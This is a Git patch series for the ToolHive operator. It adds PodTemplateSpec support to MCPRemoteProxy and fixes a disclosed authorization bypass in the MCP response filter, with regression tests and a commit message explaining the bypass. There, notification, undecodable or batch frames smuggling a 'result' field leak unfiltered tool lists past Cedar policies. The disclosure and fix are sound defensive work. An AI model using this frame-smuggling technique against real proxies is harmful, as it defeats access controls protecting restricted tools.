diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go b/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go index dc0ed8ab60..a1fa5da8dc 100644 --- a/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go +++ b/cmd/thv-operator/controllers/mcpremoteproxy_deployment.go @@ -22,6 +22,8 @@ import ( "github.com/stacklok/toolhive/pkg/vmcp/headerforward/wirefmt" ) +const mcpRemoteProxyContainerName = "toolhive" + // deploymentForMCPRemoteProxy returns a MCPRemoteProxy Deployment object func (r *MCPRemoteProxyReconciler) deploymentForMCPRemoteProxy( ctx context.Context, proxy *mcpv1beta1.MCPRemoteProxy, runConfigChecksum string, @@ -86,7 +88,7 @@ func (r *MCPRemoteProxyReconciler) deploymentForMCPRemoteProxy( ImagePullSecrets: r.imagePullSecretsForRemoteProxy(proxy), Containers: []corev1.Container{{ Image: getToolhiveRunnerImage(), - Name: "toolhive", + Name: mcpRemoteProxyContainerName, Args: args, Env: env, VolumeMounts: volumeMounts, @@ -104,6 +106,13 @@ func (r *MCPRemoteProxyReconciler) deploymentForMCPRemoteProxy( }, } + if err := r.applyPodTemplateSpecToDeployment(ctx, proxy, dep); err != nil { + log.FromContext(ctx).Error(err, "Failed to apply PodTemplateSpec to Deployment", + "mcpremoteproxy", proxy.Name, + "namespace", proxy.Namespace) + return nil + } + if err := controllerutil.SetControllerReference(proxy, dep, r.Scheme); err != nil { ctxLogger := log.FromContext(ctx) ctxLogger.Error(err, "Failed to set controller reference for Deployment") @@ -394,6 +403,13 @@ func (*MCPRemoteProxyReconciler) buildDeploymentMetadata( deploymentLabels := baseLabels deploymentAnnotations := make(map[string]string) + if proxy.Spec.PodTemplateSpec != nil && len(proxy.Spec.PodTemplateSpec.Raw) > 0 { + hash, err := checksum.HashRawJSON(proxy.Spec.PodTemplateSpec.Raw) + if err == nil { + deploymentAnnotations[podTemplateSpecHashAnnotation] = hash + } + } + if proxy.Spec.ResourceOverrides != nil && proxy.Spec.ResourceOverrides.ProxyDeployment != nil { if proxy.Spec.ResourceOverrides.ProxyDeployment.Labels != nil { deploymentLabels = ctrlutil.MergeLabels(baseLabels, proxy.Spec.ResourceOverrides.ProxyDeployment.Labels) @@ -408,6 +424,33 @@ func (*MCPRemoteProxyReconciler) buildDeploymentMetadata( return deploymentLabels, deploymentAnnotations } +// applyPodTemplateSpecToDeployment applies user-provided PodTemplateSpec customizations +// to the generated MCPRemoteProxy Deployment using Kubernetes strategic merge semantics. +func (*MCPRemoteProxyReconciler) applyPodTemplateSpecToDeployment( + ctx context.Context, + proxy *mcpv1beta1.MCPRemoteProxy, + deployment *appsv1.Deployment, +) error { + if proxy.Spec.PodTemplateSpec == nil || len(proxy.Spec.PodTemplateSpec.Raw) == 0 { + return nil + } + + if _, err := ctrlutil.NewPodTemplateSpecBuilder(proxy.Spec.PodTemplateSpec, mcpRemoteProxyContainerName); err != nil { + return fmt.Errorf("failed to build PodTemplateSpec: %w", err) + } + + merged, err := ctrlutil.ApplyPodTemplateSpecPatch(deployment.Spec.Template, proxy.Spec.PodTemplateSpec.Raw) + if err != nil { + return err + } + deployment.Spec.Template = merged + + log.FromContext(ctx).V(1).Info("Applied PodTemplateSpec customizations to deployment", + "mcpremoteproxy", proxy.Name, + "namespace", proxy.Namespace) + return nil +} + // buildPodTemplateMetadata builds pod template labels and annotations. // // The runConfigChecksum parameter must be a non-empty SHA256 hash of the RunConfig. diff --git a/cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go b/cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go new file mode 100644 index 0000000000..1ce01389cb --- /dev/null +++ b/cmd/thv-operator/controllers/mcpremoteproxy_podtemplatespec_test.go @@ -0,0 +1,238 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package controllers + +import ( + stderrors "errors" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/api/meta" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/runtime" + "k8s.io/apimachinery/pkg/types" + "k8s.io/client-go/tools/events" + "sigs.k8s.io/controller-runtime/pkg/client/fake" + + mcpv1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" + "github.com/stacklok/toolhive/cmd/thv-operator/internal/testutil" + ctrlutil "github.com/stacklok/toolhive/cmd/thv-operator/pkg/controllerutil" +) + +func rawPodTemplateSpecJSON(t *testing.T, raw string) *runtime.RawExtension { + t.Helper() + return &runtime.RawExtension{Raw: []byte(raw)} +} + +func TestMCPRemoteProxyPodTemplateSpecValidation(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + podTemplateSpec *runtime.RawExtension + expectError bool + expectedPhase mcpv1beta1.MCPRemoteProxyPhase + expectedCondition metav1.ConditionStatus + expectedReason string + expectedStatusMessage string + }{ + { + name: "valid PodTemplateSpec", + podTemplateSpec: rawPodTemplateSpecJSON(t, `{"spec":{"nodeSelector":{"disk":"ssd"}}}`), + expectedCondition: metav1.ConditionTrue, + expectedReason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateValid, + }, + { + name: "invalid PodTemplateSpec", + podTemplateSpec: &runtime.RawExtension{ + Raw: []byte(`{"spec":{"containers":"not-a-container-list"}}`), + }, + expectError: true, + expectedPhase: mcpv1beta1.MCPRemoteProxyPhaseFailed, + expectedCondition: metav1.ConditionFalse, + expectedReason: mcpv1beta1.ConditionReasonMCPRemoteProxyPodTemplateInvalid, + expectedStatusMessage: "Invalid PodTemplateSpec", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + Generation: 3, + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: tt.podTemplateSpec, + }, + } + scheme := testutil.NewScheme(t) + fakeClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithRuntimeObjects(proxy). + WithStatusSubresource(&mcpv1beta1.MCPRemoteProxy{}). + Build() + reconciler := &MCPRemoteProxyReconciler{ + Client: fakeClient, + Scheme: scheme, + Recorder: events.NewFakeRecorder(10), + } + + err := reconciler.validateAndHandleConfigs(t.Context(), proxy) + if tt.expectError { + require.Error(t, err) + assert.True(t, stderrors.Is(err, errInvalidMCPRemoteProxyPodTemplateSpec)) + } else { + require.NoError(t, err) + } + + updated := &mcpv1beta1.MCPRemoteProxy{} + require.NoError(t, fakeClient.Get(t.Context(), types.NamespacedName{ + Name: proxy.Name, + Namespace: proxy.Namespace, + }, updated)) + + condition := meta.FindStatusCondition( + updated.Status.Conditions, + mcpv1beta1.ConditionTypeMCPRemoteProxyPodTemplateValid, + ) + require.NotNil(t, condition) + assert.Equal(t, tt.expectedCondition, condition.Status) + assert.Equal(t, tt.expectedReason, condition.Reason) + assert.Equal(t, proxy.Generation, condition.ObservedGeneration) + + if tt.expectedPhase != "" { + assert.Equal(t, tt.expectedPhase, updated.Status.Phase) + } + if tt.expectedStatusMessage != "" { + assert.Contains(t, updated.Status.Message, tt.expectedStatusMessage) + } + }) + } +} + +func TestMCPRemoteProxyPodTemplateSpecMerge(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: rawPodTemplateSpecJSON(t, `{ + "metadata": { + "labels": {"custom-template-label": "enabled"}, + "annotations": {"custom-template-annotation": "enabled"} + }, + "spec": { + "nodeSelector": {"disk": "ssd"}, + "tolerations": [{ + "key": "dedicated", + "operator": "Equal", + "value": "toolhive", + "effect": "NoSchedule" + }], + "containers": [{ + "name": "toolhive", + "env": [{"name": "EXTRA_PROXY_ENV", "value": "enabled"}] + }, { + "name": "sidecar", + "image": "busybox:latest", + "args": ["sleep", "3600"] + }] + } + }`), + }, + } + + scheme := testutil.NewScheme(t) + reconciler := &MCPRemoteProxyReconciler{ + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + deployment := reconciler.deploymentForMCPRemoteProxy(t.Context(), proxy, "test-checksum") + require.NotNil(t, deployment) + + assert.Equal(t, "ssd", deployment.Spec.Template.Spec.NodeSelector["disk"]) + require.Len(t, deployment.Spec.Template.Spec.Tolerations, 1) + assert.Equal(t, "enabled", deployment.Spec.Template.Labels["custom-template-label"]) + assert.Equal(t, "enabled", deployment.Spec.Template.Annotations["custom-template-annotation"]) + assert.Contains(t, deployment.Annotations, podTemplateSpecHashAnnotation) + + toolhiveContainer, ok := findContainerByName(deployment.Spec.Template.Spec.Containers, mcpRemoteProxyContainerName) + require.True(t, ok) + assert.Equal(t, getToolhiveRunnerImage(), toolhiveContainer.Image) + assert.Contains(t, toolhiveContainer.Args, "run") + assert.Contains(t, toolhiveContainer.Env, corev1.EnvVar{Name: "EXTRA_PROXY_ENV", Value: "enabled"}) + + sidecar, ok := findContainerByName(deployment.Spec.Template.Spec.Containers, "sidecar") + require.True(t, ok) + assert.Equal(t, "busybox:latest", sidecar.Image) +} + +func TestMCPRemoteProxyPodTemplateSpecMergeAppliesFieldsOutsideBuilderEmptinessCheck(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: rawPodTemplateSpecJSON(t, `{"spec":{"runtimeClassName":"gvisor"}}`), + }, + } + + scheme := testutil.NewScheme(t) + reconciler := &MCPRemoteProxyReconciler{ + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + deployment := reconciler.deploymentForMCPRemoteProxy(t.Context(), proxy, "test-checksum") + require.NotNil(t, deployment) + require.NotNil(t, deployment.Spec.Template.Spec.RuntimeClassName) + assert.Equal(t, "gvisor", *deployment.Spec.Template.Spec.RuntimeClassName) +} + +func TestMCPRemoteProxyPodTemplateSpecDriftDetection(t *testing.T) { + t.Parallel() + + proxy := &mcpv1beta1.MCPRemoteProxy{ + ObjectMeta: metav1.ObjectMeta{ + Name: "template-proxy", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPRemoteProxySpec{ + RemoteURL: "https://mcp.example.com", + PodTemplateSpec: rawPodTemplateSpecJSON(t, `{"spec":{"nodeSelector":{"disk":"ssd"}}}`), + }, + } + + scheme := testutil.NewScheme(t) + reconciler := &MCPRemoteProxyReconciler{ + Scheme: scheme, + PlatformDetector: ctrlutil.NewSharedPlatformDetector(), + } + + deployment := reconciler.deploymentForMCPRemoteProxy(t.Context(), proxy, "test-checksum") + require.NotNil(t, deployment) + assert.False(t, reconciler.deploymentNeedsUpdate(t.Context(), deployment, proxy, "test-checksum")) + + proxy.Spec.PodTemplateSpec = rawPodTemplateSpecJSON(t, `{"spec":{"nodeSelector":{"disk":"nvme"}}}`) + assert.True(t, reconciler.deploymentNeedsUpdate(t.Context(), deployment, proxy, "test-checksum")) + + proxy.Spec.PodTemplateSpec = nil + assert.True(t, reconciler.deploymentNeedsUpdate(t.Context(), deployment, proxy, "test-checksum")) +} diff --git a/cmd/thv-operator/controllers/podtemplatespec_constants.go b/cmd/thv-operator/controllers/podtemplatespec_constants.go new file mode 100644 index 0000000000..bffaf9f7c3 --- /dev/null +++ b/cmd/thv-operator/controllers/podtemplatespec_constants.go @@ -0,0 +1,11 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package controllers + +const ( + // podTemplateSpecHashAnnotation tracks the SHA256 hash of a user-provided PodTemplateSpec. + // It is used by workload reconcilers to detect changes without comparing full rendered + // templates, which may include Kubernetes-defaulted fields. + podTemplateSpecHashAnnotation = "toolhive.stacklok.io/podtemplatespec-hash" +) diff --git a/cmd/thv-operator/controllers/virtualmcpserver_deployment.go b/cmd/thv-operator/controllers/virtualmcpserver_deployment.go index ed54e436c5..9b6df3c02f 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_deployment.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_deployment.go @@ -35,10 +35,6 @@ import ( ) const ( - // podTemplateSpecHashAnnotation tracks the SHA256 hash of the user-provided PodTemplateSpec. - // Used to detect changes without comparing full rendered templates (which include K8s-defaulted fields). - podTemplateSpecHashAnnotation = "toolhive.stacklok.io/podtemplatespec-hash" - // imagePullRefsHashAnnotation tracks the SHA256 hash of the desired // imagePullSecrets list — chart-level defaults merged with // vmcp.Spec.ImagePullSecrets — used by buildDeploymentMetadataForVmcp. diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml index af90be0ea0..88e2f571e1 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpremoteproxies.yaml @@ -342,6 +342,15 @@ spec: - audience - name type: object + podTemplateSpec: + description: |- + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. + type: object + x-kubernetes-preserve-unknown-fields: true proxyPort: default: 8080 description: ProxyPort is the port to expose the MCP proxy on @@ -1071,6 +1080,15 @@ spec: - audience - name type: object + podTemplateSpec: + description: |- + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. + type: object + x-kubernetes-preserve-unknown-fields: true proxyPort: default: 8080 description: ProxyPort is the port to expose the MCP proxy on diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml index 35ca60947c..0f747ee9d4 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpremoteproxies.yaml @@ -345,6 +345,15 @@ spec: - audience - name type: object + podTemplateSpec: + description: |- + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. + type: object + x-kubernetes-preserve-unknown-fields: true proxyPort: default: 8080 description: ProxyPort is the port to expose the MCP proxy on @@ -1074,6 +1083,15 @@ spec: - audience - name type: object + podTemplateSpec: + description: |- + PodTemplateSpec defines the pod template to use for the MCPRemoteProxy + This allows for customizing the pod configuration beyond what is provided by the other fields. + Note that to modify the specific container the remote proxy runs in, you must specify + the `toolhive` container name in the PodTemplateSpec. + This field accepts a PodTemplateSpec object as JSON/YAML. + type: object + x-kubernetes-preserve-unknown-fields: true proxyPort: default: 8080 description: ProxyPort is the port to expose the MCP proxy on diff --git a/docs/operator/crd-api.md b/docs/operator/crd-api.md index 423a6d3b61..2a7a18ac9f 100644 --- a/docs/operator/crd-api.md +++ b/docs/operator/crd-api.md @@ -2965,6 +2965,7 @@ _Appears in:_ | `telemetryConfigRef` _[api.v1beta1.MCPTelemetryConfigReference](#apiv1beta1mcptelemetryconfigreference)_ | TelemetryConfigRef references an MCPTelemetryConfig resource for shared telemetry configuration.
The referenced MCPTelemetryConfig must exist in the same namespace as this MCPRemoteProxy.
Cross-namespace references are not supported for security and isolation reasons. | | Optional: \{\}
| | `resources` _[api.v1beta1.ResourceRequirements](#apiv1beta1resourcerequirements)_ | Resources defines the resource requirements for the proxy container | | Optional: \{\}
| | `serviceAccount` _string_ | ServiceAccount is the name of an already existing service account to use by the proxy.
If not specified, a ServiceAccount will be created automatically and used by the proxy. | | Optional: \{\}
| +| `podTemplateSpec` _[RawExtension](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#rawextension-runtime-pkg)_ | PodTemplateSpec defines the pod template to use for the MCPRemoteProxy
This allows for customizing the pod configuration beyond what is provided by the other fields.
Note that to modify the specific container the remote proxy runs in, you must specify
the `toolhive` container name in the PodTemplateSpec.
This field accepts a PodTemplateSpec object as JSON/YAML. | | Type: object
Optional: \{\}
| | `trustProxyHeaders` _boolean_ | TrustProxyHeaders indicates whether to trust X-Forwarded-* headers from reverse proxies
When enabled, the proxy will use X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port,
and X-Forwarded-Prefix headers to construct endpoint URLs | false | Optional: \{\}
| | `endpointPrefix` _string_ | EndpointPrefix is the path prefix to prepend to SSE endpoint URLs.
This is used to handle path-based ingress routing scenarios where the ingress
strips a path prefix before forwarding to the backend. | | Optional: \{\}
| | `resourceOverrides` _[api.v1beta1.ResourceOverrides](#apiv1beta1resourceoverrides)_ | ResourceOverrides allows overriding annotations and labels for resources created by the operator | | Optional: \{\}
| From 24cbd8e9788c8de96ea1660cbd7eef284c38f4ad Mon Sep 17 00:00:00 2001 From: Saivedant Hava <88630924+saivedant169@users.noreply.github.com> Date: Wed, 15 Jul 2026 16:04:09 +0530 Subject: [PATCH 49/66] Stop SSE filter from leaking tools/list on undecodable lines (#5304) * Stop SSE filter from leaking tools/list on undecodable lines processSSEResponse used to write the entire raw upstream payload and return whenever a single SSE data line failed jsonrpc2.DecodeMessage or decoded to a non-Response message (e.g. a notifications/* frame). On a tools/list reply that meant every subsequent data line, including the real Response, reached the client unfiltered, silently bypassing the cedar authorization filter and producing the superfluous WriteHeader warning at response_filter.go:191. Treat undecodable or non-Response data lines as pass-through for that line only: fall through to the existing line writer instead of dumping rawResponse. The explicit WriteHeader calls go away with them, which also removes the double-header warning that surfaced the bug. Skipped filtering on tools/list now emits a WARN so future bypasses are visible in audit logs. Adds a table-driven regression test covering both branches (decode error and non-Response). It fails on the old code with the unfiltered admin_tool entry reaching the recorder. Closes #5257 * Broaden SSE filter logging and tests across list methods Address review feedback on #5304: The WARN log paths in processSSEResponse were gated on the tools/list method, but the underlying bypass applies to every method routed through requiresResponseFiltering (tools/list, prompts/list, resources/list, find_tool). Drop the gating so the WARN fires for any of them. The regression test only exercised tools/list. Restructure it into a method-by-preceding-line table so the same notification and undecodable line cases run against prompts/list and resources/list as well. Verified the WARN now logs for all three methods and the unauthorized entry never reaches the recorder. * authz: drop disguised result frames and fix SSE line termination A non-Response SSE frame carrying both a method field and a result (for example notifications/initialized smuggling a tools/list result) was classified as a request by DecodeMessage, failed the Response check, and passed through unfiltered, a narrowed form of #5257. carriesResult now detects a result field on such frames and drops the line as a protocol violation, with a regression test. Also drop the hardcoded "\n" after the filtered data line: the loop writes the detected line separator, so the literal "\n" desynced \r\n streams. Flatten the decode switch into an if/else chain for readability. Signed-off-by: Saivedant Hava * Close disguised-result bypass on decode-error and batch frames The SSE and JSON response filters only checked for a smuggled result on frames that decoded as a non-Response. Frames that DecodeMessage rejects outright (missing or invalid jsonrpc tag, a response frame with no or a non-scalar id, a batch array) landed in the decode-error branch and were written through unfiltered, the same Cedar bypass as #5257 relocated to an easier-to-reach branch. Run the smuggled-result check independent of decode success on both the SSE and application/json paths, and extend carriesResult to detect a result inside a batch array. Fail closed on these frames. Demote the genuine-notification SSE branch to Debug so the two suspicious branches are not buried under routine traffic. Signed-off-by: Saivedant Hava * Address review nits: JSON-RPC error on fail-closed, extract SSE line handler - processJSONResponse now returns a JSON-RPC error via writeErrorResponse on the smuggled-result fail-closed path instead of a bare {}, matching the clean-but-filtered error path. - Extracted the SSE data-line classification into writeSSEDataLine, dropping processSSEResponse under the gocyclo threshold so the //nolint can go. Signed-off-by: Saivedant Hava --------- Signed-off-by: Saivedant Hava Co-authored-by: Muhammad Amir Ejaz Co-authored-by: Alejandro Ponce de Leon --- pkg/authz/response_filter.go | 137 +++++++++---- pkg/authz/response_filter_test.go | 310 ++++++++++++++++++++++++++++++ 2 files changed, 409 insertions(+), 38 deletions(-) diff --git a/pkg/authz/response_filter.go b/pkg/authz/response_filter.go index e00dceadf5..a713113a42 100644 --- a/pkg/authz/response_filter.go +++ b/pkg/authz/response_filter.go @@ -131,17 +131,21 @@ func (rfw *ResponseFilteringWriter) Flush() { func (rfw *ResponseFilteringWriter) processJSONResponse(rawResponse []byte) error { message, err := jsonrpc2.DecodeMessage(rawResponse) - if err != nil { - rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) - return err - } - response, ok := message.(*jsonrpc2.Response) - if !ok { + if err != nil || !ok { + // Not a clean Response. The disguised-result bypass (#5257) is + // transport-independent, so apply the same check here as on the SSE + // path: if a non-Response, undecodable, or batch frame still carries a + // result, fail closed rather than passing the smuggled list through. + if carriesResult(rawResponse) { + slog.Warn("JSON response carried a result outside a clean Response frame; dropping as a protocol violation", + "method", rfw.method) + return rfw.writeErrorResponse(jsonrpc2.ID{}, + fmt.Errorf("dropped a frame carrying a result outside a clean Response")) + } rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) - return err + _, werr := rfw.ResponseWriter.Write(rawResponse) + return werr } filteredResponse, err := rfw.filterListResponse(response) @@ -159,7 +163,6 @@ func (rfw *ResponseFilteringWriter) processJSONResponse(rawResponse []byte) erro return err } -//nolint:gocyclo func (rfw *ResponseFilteringWriter) processSSEResponse(rawResponse []byte) error { // Note: this routine is adapted from the one in pkg/mcp/tool_filter.go. // I don't see an obvious way to factor out the commonalities, so I'm @@ -186,36 +189,11 @@ func (rfw *ResponseFilteringWriter) processSSEResponse(rawResponse []byte) error var written bool if data, ok := bytes.CutPrefix(line, []byte("data:")); ok { - message, err := jsonrpc2.DecodeMessage(data) - if err != nil { - rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) + w, stop, err := rfw.writeSSEDataLine(data) + if stop { return err } - - response, ok := message.(*jsonrpc2.Response) - if !ok { - rfw.ResponseWriter.WriteHeader(rfw.statusCode) - _, err := rfw.ResponseWriter.Write(rawResponse) - return err - } - - filteredResponse, err := rfw.filterListResponse(response) - if err != nil { - return rfw.writeErrorResponse(response.ID, err) - } - - filteredData, err := jsonrpc2.EncodeMessage(filteredResponse) - if err != nil { - return rfw.writeErrorResponse(response.ID, err) - } - - _, err = rfw.ResponseWriter.Write([]byte("data: " + string(filteredData) + "\n")) - if err != nil { - return fmt.Errorf("%w: %w", errBug, err) - } - - written = true + written = w } if !written { @@ -244,6 +222,56 @@ func (rfw *ResponseFilteringWriter) processSSEResponse(rawResponse []byte) error return nil } +// writeSSEDataLine classifies a single SSE `data:` payload and writes the +// filtered response when it is a clean Response. written reports whether the +// caller should skip the raw passthrough for this line. stop reports that +// processSSEResponse should return err immediately (an error response has +// already been written on the filter/encode error paths). +func (rfw *ResponseFilteringWriter) writeSSEDataLine(data []byte) (written, stop bool, err error) { + message, decodeErr := jsonrpc2.DecodeMessage(data) + response, isResponse := message.(*jsonrpc2.Response) + switch { + case isResponse: + filteredResponse, ferr := rfw.filterListResponse(response) + if ferr != nil { + return false, true, rfw.writeErrorResponse(response.ID, ferr) + } + filteredData, ferr := jsonrpc2.EncodeMessage(filteredResponse) + if ferr != nil { + return false, true, rfw.writeErrorResponse(response.ID, ferr) + } + // The caller writes linesep after this line, so do not append a + // terminator here. A hardcoded "\n" desyncs \r\n streams. + if _, werr := rfw.ResponseWriter.Write([]byte("data: " + string(filteredData))); werr != nil { + return false, true, fmt.Errorf("%w: %w", errBug, werr) + } + return true, false, nil + case carriesResult(data): + // The frame is not a clean Response but still carries a result. This + // covers a non-Response type (a request/notification frame smuggling a + // result), a decode error (missing or invalid jsonrpc tag, a response + // frame with no or a non-scalar id), and a batch array. All are + // upstream-controlled shapes that would otherwise fall through and leak + // the very list this filter scrubs (#5257). Fail closed and drop the line. + slog.Warn("SSE data line carried a result outside a clean Response frame; dropping as a protocol violation", + "method", rfw.method) + return true, false, nil + case decodeErr != nil: + // Genuinely undecodable and no smuggled result. Pass this line through + // unfiltered (this line only). + slog.Warn("SSE data line could not be decoded as JSON-RPC; passing through unfiltered", + "method", rfw.method, "error", decodeErr) + return false, false, nil + default: + // Genuine non-Response frame (e.g. an interleaved notifications/* message) + // with no result payload. Routine SSE traffic, so log at Debug to keep the + // suspicious branches above from being buried. Pass through this line only. + slog.Debug("SSE data line was not a JSON-RPC Response; passing through unfiltered", + "method", rfw.method) + return false, false, nil + } +} + // requiresResponseFiltering reports whether the method needs response filtering. // This covers the three MCP list operations and the optimizer's find_tool call, // whose response embeds a filtered tool list inside a CallToolResult. @@ -254,6 +282,39 @@ func requiresResponseFiltering(method string) bool { method == optimizerdec.FindToolName } +// carriesResult reports whether a data payload contains a JSON-RPC "result" +// field, either directly on an object or in any element of a batch array. A +// frame that is not a clean Response (a request/notification smuggling a +// result, a shape DecodeMessage rejects, or a batch array) but still carries a +// result must not pass through: it would leak the list the filter exists to +// scrub. See issue #5257. +func carriesResult(data []byte) bool { + trimmed := bytes.TrimSpace(data) + if len(trimmed) == 0 { + return false + } + switch trimmed[0] { + case '{': + var probe struct { + Result json.RawMessage `json:"result"` + } + return json.Unmarshal(trimmed, &probe) == nil && probe.Result != nil + case '[': + var batch []struct { + Result json.RawMessage `json:"result"` + } + if json.Unmarshal(trimmed, &batch) != nil { + return false + } + for i := range batch { + if batch[i].Result != nil { + return true + } + } + } + return false +} + // filterListResponse filters the list response based on authorization policies func (rfw *ResponseFilteringWriter) filterListResponse(response *jsonrpc2.Response) (*jsonrpc2.Response, error) { if response.Error != nil { diff --git a/pkg/authz/response_filter_test.go b/pkg/authz/response_filter_test.go index f36c70e772..37e09e68a0 100644 --- a/pkg/authz/response_filter_test.go +++ b/pkg/authz/response_filter_test.go @@ -863,3 +863,313 @@ func TestOptimizerPassThroughToolsInResponseFilter(t *testing.T) { "admin_tool has no permit policy and is not a pass-through tool") }) } + +// TestResponseFilteringWriter_SSE_PerLineFallthrough is a regression test for +// issue #5257: when an SSE upstream interleaves a non-Response data line (e.g. +// an MCP notification) or an undecodable data line with a real list response, +// the filter previously wrote the entire raw upstream payload and returned, +// leaking the unfiltered list past Cedar. It must instead pass only the +// offending line through and continue filtering the rest of the stream. +// +// The same code path runs for every method covered by +// requiresResponseFiltering, so each of tools/list, prompts/list, and +// resources/list is exercised below. +func TestResponseFilteringWriter_SSE_PerLineFallthrough(t *testing.T) { + t.Parallel() + + authorizer, err := cedar.NewCedarAuthorizer(cedar.ConfigOptions{ + Policies: []string{ + `permit(principal, action == Action::"call_tool", resource == Tool::"weather");`, + `permit(principal, action == Action::"get_prompt", resource == Prompt::"greeting");`, + `permit(principal, action == Action::"read_resource", resource == Resource::"data");`, + }, + EntitiesJSON: `[]`, + }, "") + require.NoError(t, err) + + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{ + Subject: "user1", + Claims: map[string]interface{}{"sub": "user1"}, + }} + + // encodeListResponse marshals a list result type into a JSON-RPC Response + // data line. + encodeListResponse := func(t *testing.T, result interface{}) string { + t.Helper() + resultJSON, err := json.Marshal(result) + require.NoError(t, err) + encoded, err := jsonrpc2.EncodeMessage(&jsonrpc2.Response{ + ID: jsonrpc2.Int64ID(1), + Result: json.RawMessage(resultJSON), + }) + require.NoError(t, err) + return "data: " + string(encoded) + } + + // methodCase describes how to build a filterable response for one MCP + // list method and how to read the filtered names out of the wire output. + type methodCase struct { + name string + method string + respLine string + authorizedName string + unauthorizedName string + extractNames func(t *testing.T, result json.RawMessage) []string + } + + methodCases := []methodCase{ + { + name: "tools/list", + method: string(mcp.MethodToolsList), + respLine: encodeListResponse(t, mcp.ListToolsResult{ + Tools: []mcp.Tool{ + {Name: "weather", Description: "Get weather information"}, + {Name: "admin_tool", Description: "Sensitive admin operations"}, + }, + }), + authorizedName: "weather", + unauthorizedName: "admin_tool", + extractNames: func(t *testing.T, result json.RawMessage) []string { + t.Helper() + var r mcp.ListToolsResult + require.NoError(t, json.Unmarshal(result, &r)) + names := make([]string, len(r.Tools)) + for i, tool := range r.Tools { + names[i] = tool.Name + } + return names + }, + }, + { + name: "prompts/list", + method: string(mcp.MethodPromptsList), + respLine: encodeListResponse(t, mcp.ListPromptsResult{ + Prompts: []mcp.Prompt{ + {Name: "greeting", Description: "Generate greetings"}, + {Name: "admin_prompt", Description: "Sensitive admin prompt"}, + }, + }), + authorizedName: "greeting", + unauthorizedName: "admin_prompt", + extractNames: func(t *testing.T, result json.RawMessage) []string { + t.Helper() + var r mcp.ListPromptsResult + require.NoError(t, json.Unmarshal(result, &r)) + names := make([]string, len(r.Prompts)) + for i, p := range r.Prompts { + names[i] = p.Name + } + return names + }, + }, + { + name: "resources/list", + method: string(mcp.MethodResourcesList), + respLine: encodeListResponse(t, mcp.ListResourcesResult{ + Resources: []mcp.Resource{ + {URI: "data", Name: "Data Resource"}, + {URI: "secret", Name: "Sensitive Resource"}, + }, + }), + authorizedName: "data", + unauthorizedName: "secret", + extractNames: func(t *testing.T, result json.RawMessage) []string { + t.Helper() + var r mcp.ListResourcesResult 